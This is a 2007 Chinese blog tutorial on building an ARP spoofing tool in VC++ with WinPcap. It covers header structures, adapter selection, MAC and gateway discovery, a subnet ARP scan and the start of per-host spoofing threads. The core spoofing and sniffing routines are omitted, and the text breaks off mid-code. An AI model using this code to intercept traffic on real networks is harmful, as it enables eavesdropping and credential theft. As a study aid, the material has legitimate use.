S书W经
netgod's blog
我的首页
文章
相册
圈子
留言
管理
 
    当前所在页面:首页>>文章>>阳光下隐藏的危机——ARP欺骗的编程实现
阳光下隐藏的危机——ARP欺骗的编程实现
    作者:netgod 来源: 发表时间:2007-12-03

 
 

计算机网络的方便快捷改变了我们的生活,网上聊天、远程办公、电子商务等应用已经广泛应用,而我们在享受这些方便的时候,殊不知背后却有无数双眼睛在觊觎着我们,资料被盗、帐号丢失、电脑被人监控等这些现象严重危害我们的利益,这一切也是在不知不觉中发生的。这些危害离不开各种技术手段,ARP欺骗成了许多病毒木马或者一些人为的攻击中比较钟情的方式,因为其有良好的隐蔽性。而ARP欺骗也是一把双刃剑,对于一个网管来说,可以利用ARP技术编写程序对网络中的流量进行监控,可以封堵网络中疯狂的P2P下载对网络进行限速,也可以用来禁止QQ等各种网络软件的运行。不管处于什么目的,我们都有必要了解其原理,这里我们主要从编程的角度来了解ARP欺骗,因其危害性,部分源码进行了省略。

我们需要理解的概念:

1.  什么是ARP

ARP协议是“Address Resolution Protocol”(地址解析协议)的缩写。其功能简而言之就是在局域网通信中,把目标IP地址通过TCP/IP协议栈中的缓存地址表转换为目标主机的MAC地址,从而建立两台主机之间的连接实现通信。

2.  什么是ARP欺骗

最简单来说就是通过软件伪造出路由表或者内网的ARP缓存表中的ARP地址,使自己成为一个可信任主机或者中间人,欺骗网关或者其他计算机,来获取和篡改数据。

3.  ARP欺骗的基本危害

——1.              用户网络行为被偷窥

——2.              用户帐号密码或其他传输的数据被窃取

——3.              用户接受到被伪造的虚假信息

——4.              用户发出的信息被篡改

4.  ARP欺骗的一些正面应用

——1.              对网络信息进行监控

——2.              对网络用户流量进行监控和限制

——3.              对用户的P2P下载进行监控和限制

 

下面我们简单用VC++编程来模拟一个ARP欺骗的过程,需要使用winpcap中的pcap.h头文件:

首先我们要对以太头,ARP头等进行定义。

//以太头结构,一般网络编程都要使用

typedef struct ethdr                 

{

    unsigned char   eh_dst[6];

    unsigned char   eh_src[6];

    unsigned short  eh_type;

}ETHDR,*PETHDR;

//arp头结构

typedef struct arphdr                 

{

    unsigned short  arp_hdr;

    unsigned short  arp_pro;

    unsigned char   arp_hln;

    unsigned char   arp_pln;

    unsigned short  arp_opt;

    unsigned char   arp_sha[6];

    unsigned long   arp_spa;

    unsigned char   arp_tha[6];

    unsigned long   arp_tpa;

}ARPHDR,*PARPHDR;

//用于存储网络中活动计算机ip与对应mac的结构

typedef struct acttiveIpwithMac         

{

    acttiveIpwithMac* next;

       unsigned long ip;

       unsigned char mac[6];

}acttiveIpwithMac,*PacttiveIpwithMac;

还要做如下定义和声明:

//显示pcap_if结构的信息

void ifprint(pcap_if_t *d); 

//判断两个mac是否相同     

int macequal(PacttiveIpwithMac m,PacttiveIpwithMac n); 

//获得自己mac的函数.pcap实现.也可以用GetAdaptersInfo来获得

int getmmac();  

//向局域网内发arp请求包扫描

unsigned int _stdcall sendpackettogetallacttiveIpwithMac(void *x);

//接受并存储局域网的arp响应信息

unsigned int _stdcall recvpackettogetallacttiveIpwithMac(void *x);

//欺骗某一特定的主机,需传递主机的序号,序号由扫描获得   

unsigned int _stdcall sproof(void *x); 

//转发包的线程                    

unsigned int _stdcall transmitandsniffer(void *x);

//获取网关IP地址         

int Getgatewayip(ULONG choosedip);  

如果我们的计算机有多快网卡的时候还有定义一个选择网卡的指针,

pcap_t *slecadopt;

 

 

做了这些定义之后我们首先要从本地的活动网卡中选择要进行欺骗操作的网卡,代码如下:

     /* 获得网卡的列表 */

     if (pcap_findalldevs(&alldevs, error) == -1)

     {

         fprintf(stderr,"查找设备出现错误: %s\n", error);

         return -1;

     }

     /* 打印网卡信息 */

     for(d=alldevs; d; d=d->next)

     {

         printf("%d. ", ++i);

               ifprint(d);           /* 循环调用ifprint() 来显示pcap_if结构的信息*/

         if (d->description)

             printf(" (%s)\n", d->description);

         else

             printf(" (没有网卡类型的描述信息)\n");

     }

          

     if(i==0)

     {

         printf("\n找不到网卡,请确定你的计算机安装了WinPcap\n");

         return -1;

     }

     printf("请输入网卡序号 (1-%d):",i);

     scanf("%d", &inum); //输入要选择打开的网卡序号

     if(inum < 1 || inum > i) //判断网卡序号的合法性

     {

         printf("\n你输入的网卡序号超出范围,请重新输入.\n");

         pcap_freealldevs(alldevs);

         return -1;

     }

     /* 找到要选择的网卡结构 */

     for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);

        /*找到自己的ip*/

        myip->ip=((struct sockaddr_in *)d->addresses->addr)->sin_addr.s_addr;

        /*获得已选择网卡的子网掩码*/

        mynetmask=((struct sockaddr_in *)d->addresses->netmask)->sin_addr.s_addr;

        //printf("子网掩码:%s\n\n",iptos(mynetmask));

     /* 打开选择的网卡 */

     if((slecadopt = pcap_open_live(d->name, 1000, 1, 1, error) ) == NULL)

     {

         fprintf(stderr,"\n打开网络适配器发生错误: %s\n", error);

                    pcap_freealldevs(alldevs);

         return -1;

     }

     /*获取网关的信息*/

     if(Getgatewayip(myip->ip))

               printf("\t网关地址是: %s\n",iptos(gateip->ip));

     /*获取本地mac*/

        while(getmmac()==0);

        printf("要进行欺骗的网卡物理地址是:  %02x:%02x:%02x:%02x:%02x:%02x\n\n",myip->mac[0],myip->mac[1],myip->mac[2],myip->mac[3],myip->mac[4],myip->mac[5]);

以上使用到两个函数getmmac()Getgatewayip()来分别获取网卡物理地址和网关地址

//获取网卡物理地址

int getmmac()

{  

    unsigned char   sendbuf[42];

    int    i=7,k;

    ETHDR  eth;

    ARPHDR arp;

       struct pcap_pkthdr *  pkt_header;

       u_char * pkt_data;

 

    for(k=0;k<6;k++)

    {

        eth.eh_dst[k]=0xff;

        eth.eh_src[k]=0x0f;

        arp.arp_sha[k]=0x0f;

        arp.arp_tha[k]=0x00;

    }

    eth.eh_type=htons(ETH_ARP);

    arp.arp_hdr=htons(ARP_HARDWARE);

    arp.arp_pro=htons(ETH_IP);

    arp.arp_hln=6;

    arp.arp_pln=4;

    arp.arp_opt=htons(ARP_REQUEST);

    arp.arp_tpa=myip->ip;

    arp.arp_spa=inet_addr("127.0.0.2");  //随便设请求方ip地址

 

    memset(sendbuf,0,sizeof(sendbuf));

    memcpy(sendbuf,&eth,sizeof(eth));

    memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));

 

    if(pcap_sendpacket(slecadopt,sendbuf,42)==0)

       {

              printf("数据包发送成功\n\n");

       }

       else

       {

              printf("数据包发送出现错误: %d\n",GetLastError());

              return 0;

       }

      

       while((k=pcap_next_ex(slecadopt,&pkt_header,(const u_char**)&pkt_data))>=0)

    {      

        if(*(unsigned short *)(pkt_data+12)==htons(ETH_ARP)&&*(unsigned short*)(pkt_data+20)==htons(ARP_REPLY)&&*(unsigned long*)(pkt_data+38)==inet_addr("127.0.0.2"))

              {

                    

                     for(i=0;i<6;i++)

                     {

                            myip->mac[i]=*(unsigned char*)(pkt_data+22+i);

                     }

                            break;

              }

    }

       if(i==6)

    {

              return 1;

       }

       else

       {

              return 0;

       }

}

//获取网关地址

int Getgatewayip(ULONG choosedip)

{

       PIP_ADAPTER_INFO pAdapterInfo;

    PIP_ADAPTER_INFO pAdapter = NULL;

    DWORD dwRetVal = 0;;

      

    pAdapterInfo = (IP_ADAPTER_INFO *) malloc( sizeof(IP_ADAPTER_INFO) );

    ULONG ulOutBufLen = sizeof(IP_ADAPTER_INFO);

 

   

    if (GetAdaptersInfo( pAdapterInfo, &ulOutBufLen) == ERROR_BUFFER_OVERFLOW)  

       {

    free(pAdapterInfo);                         

    pAdapterInfo = (IP_ADAPTER_INFO *) malloc (ulOutBufLen);

       }

 

    if ((dwRetVal = GetAdaptersInfo( pAdapterInfo, &ulOutBufLen)) == NO_ERROR)

       {

        pAdapter = pAdapterInfo;

           while (pAdapter)

              {

                  if(myip->ip==inet_addr(pAdapter->IpAddressList.IpAddress.String))

                              {

                                     gateip->ip=inet_addr(pAdapter->GatewayList.IpAddress.String);

                                     return 1;

                              }

                printf("\t***\n");

                  pAdapter = pAdapter->Next;

              }

       }

       return 0;

}

 

下面扫描得到局域网内部的活动主机和其MAC地址:

/*扫描局域网内活动主机*/

//开启arp扫描包线程

 sendarphd=_beginthreadex(NULL,0,sendpackettogetallacttiveIpwithMac,0,0,&sendarpid);

//开启接收arp响应包线程

        recvarphd=_beginthreadex(NULL,0,recvpackettogetallacttiveIpwithMac,0,0,&recvarpid);

//主线程停止等待发送线程结束

WaitForSingleObject((HANDLE)sendarphd,INFINITE);    

        for(m=5;m>0;m--)

        {

               printf("扫描中\n");

//等待回应包到达

         Sleep(500);                   

        }

//置标志,停止接收线程

        Ssendover=1;

//主线程停止等待接收线程结束

WaitForSingleObject((HANDLE)recvarphd,INFINITE);          

if(Pipmachead!=NULL)

        {

               /*除去重复的活动主机*/

            for(k=Pipmachead;k->next!=NULL;k=k->next)

                      for(z=k;z->next!=NULL;)

                      {

                             if((k->ip==z->next->ip)&&(macequal(k,z->next)))

                             {

                                   j=z->next;

                            z->next=j->next;

                                  delete j;

                             }

                             else

                                   z=z->next;

                      }

             /*输出活动主机的MAC列表*/

               for(z=Pipmachead,i=1;z!=NULL;z=z->next,i++)

                            printf("%-3d  ip=%-20s mac=%02x:%02x:%02x:%02x:%02x:%02x\n",i,iptos(z->ip),z->mac[0],z->mac[1],z->mac[2],z->mac[3],z->mac[4],z->mac[5]);

        }

该过程中用到的函数有如下几个:

//判断两个MAC地址是否相等

int macequal(PacttiveIpwithMac m,PacttiveIpwithMac n)

{

       int i=0;

    if(memcmp(n->mac,m->mac,6)==0)

       i=1;

       return i;

}

//对内网的机器发ARP请求包

unsigned int _stdcall sendpackettogetallacttiveIpwithMac(void *x)

{  

       ULONG     tip,subnetsta,subnetend;

    unsigned char   sendbuf[42];

       int    k;

    ETHDR  eth;

    ARPHDR arp;

      

 

       subnetsta=htonl(myip->ip&mynetmask);                  //计算内网ip起点

       subnetend=htonl(htonl(subnetsta)|(~mynetmask));       //计算内网ip结束

 

       for(k=0;k<6;k++)

    {

        eth.eh_dst[k]=0xff;

        eth.eh_src[k]=myip->mac[k];

        arp.arp_sha[k]=myip->mac[k];

        arp.arp_tha[k]=0x00;

    }

    eth.eh_type=htons(ETH_ARP);

    arp.arp_hdr=htons(ARP_HARDWARE);

    arp.arp_pro=htons(ETH_IP);

    arp.arp_hln=6;

    arp.arp_pln=4;

    arp.arp_opt=htons(ARP_REQUEST);

       arp.arp_spa=myip->ip;

    memset(sendbuf,0,sizeof(sendbuf));

    memcpy(sendbuf,&eth,sizeof(eth));

       for(tip=subnetsta;tip<=subnetend;tip++)

    {

              arp.arp_tpa=htonl(tip);

        memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));

 

           if(pcap_sendpacket(slecadopt,sendbuf,42)!=0)

              {

              printf("获取所有活动IP数据包发生错误: %d\n",GetLastError());

              return 0;

              }

       }

       return 1;

}

//接受请求到的包

unsigned int _stdcall recvpackettogetallacttiveIpwithMac(void *x)

{    

    struct pcap_pkthdr *  pkt_header;

       u_char * pkt_data; 

    PacttiveIpwithMac p,q;

       int    i;

       while((pcap_next_ex(slecadopt,&pkt_header,(const u_char**)&pkt_data))>0)

    {  

        if(*(unsigned short *)(pkt_data+12)==htons(ETH_ARP)&&*(unsigned short*)(pkt_data+20)==htons(ARP_REPLY)&&*(unsigned long*)(pkt_data+38)==myip->ip)

              {

                     p=new acttiveIpwithMac;

            p->next=NULL;

                     p->ip=*(unsigned long*)(pkt_data+28);

                     for(i=0;i<6;i++)

                     {

                         p->mac[i]=*(unsigned char*)(pkt_data+22+i);

                     }

                     if(Pipmachead==NULL)

                     {                  

                         Pipmachead=p;

                            q=p;

                     }

                     else

                     {

                            q->next=p;

                            q=p;

                     }           

              }

        if(Ssendover==1)

              {

             return 1;

              }

 

       }

       return 1;

}

 

选择机器并进行欺骗:

//开启转发线程

        transhd=_beginthreadex(NULL,0,transmitandsniffer,0,0,&transid);        printf("sniffer已经开始了!!\n");

        for(i=0;i<256;i++)

              cheat[i]=0;

        printf("已经获取到局域网内的活动主机!!!\n输入你想欺骗的机器序号(一次一台):");

     printf("选择你要进行欺骗的机器序号:\n");

        for(;;)

        {

               scanf("%d",&i);

               if(i>0&&i<=maxactive)

               {

                   if(cheat[i-1]==0)

                      {

                             cheat[i-1]=1;

                             sproofhd[i-1]=_beginthreadex(NULL,0,sproof,&i,0,&sproofid[i-1]);

                      }

                      else